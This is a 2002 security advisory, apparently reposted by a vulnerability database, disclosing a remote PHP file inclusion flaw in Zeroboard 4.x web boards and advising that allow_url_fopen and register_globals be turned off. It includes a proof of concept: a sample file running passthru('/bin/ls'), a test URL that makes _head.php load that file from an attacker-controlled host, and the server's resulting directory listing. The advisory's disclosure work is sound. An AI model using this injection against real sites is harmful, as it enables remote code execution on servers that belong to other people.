malicious PHP source injection

Type securityvulns
Reporter Securityvulns
Modified 2002-06-17T00:00:00


JCC Security Advisory June 15, 2002

malicious PHP source injection


Zeroboard is one of popular PHP web boards in Korea. When allow_url_fopen = On and register_globals = On in php.ini, Zeroboard has vulnerability because _head.php contains dangerous codes. So an attacker can include any files into server's PHP codes.


All versions of Zeroboard 4.x.


allow_url_fopen = off and register_globals = off.

Tested systems

Zeroboard 4.1pl2 Debian GNU/Linux SID(x86)


We checked the vulnerability with "http://BOARD_URL/_head.php?_zb_path=WANTED_TO_INCLUDE" and made a sample code, alib.php,

--------------------alib.php-------------- <? passthru("/bin/ls"); ?> -----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a"

-------out put---------------------------- _foot.php _head.php admin admin.php admin_sendmail_ok.php admin_setup.php apply_vote.php check_user_id.php comment_ok.php config.php data del_comment.php del_comment_ok.php delete.php delete_ok.php download.php error.php icon image_box.php images include index.html install.php install1.php install2.php install2_ok.php install_ok.php latest_skin lib.php license.txt list_all.php login.php login_check.php logout.php lostid.php lostid_search.php member_join.php member_join_ok.php member_memo.php member_memo2.php member_memo3.php member_modify.php member_modify_ok.php member_out.php open_window.php outlogin.php outlogin_skin schema.sql script select_list_all.php send_message.php setup.php skin style.css view.php view_info.php view_info2.php view_preview.php vote.php write.php write_ok.php zboard.php zipcode Fatal error: Call to undefined function: dbconn() in /home/morris/public_html/tmp/bbs/_head.php on line 41 -----------------------------------------

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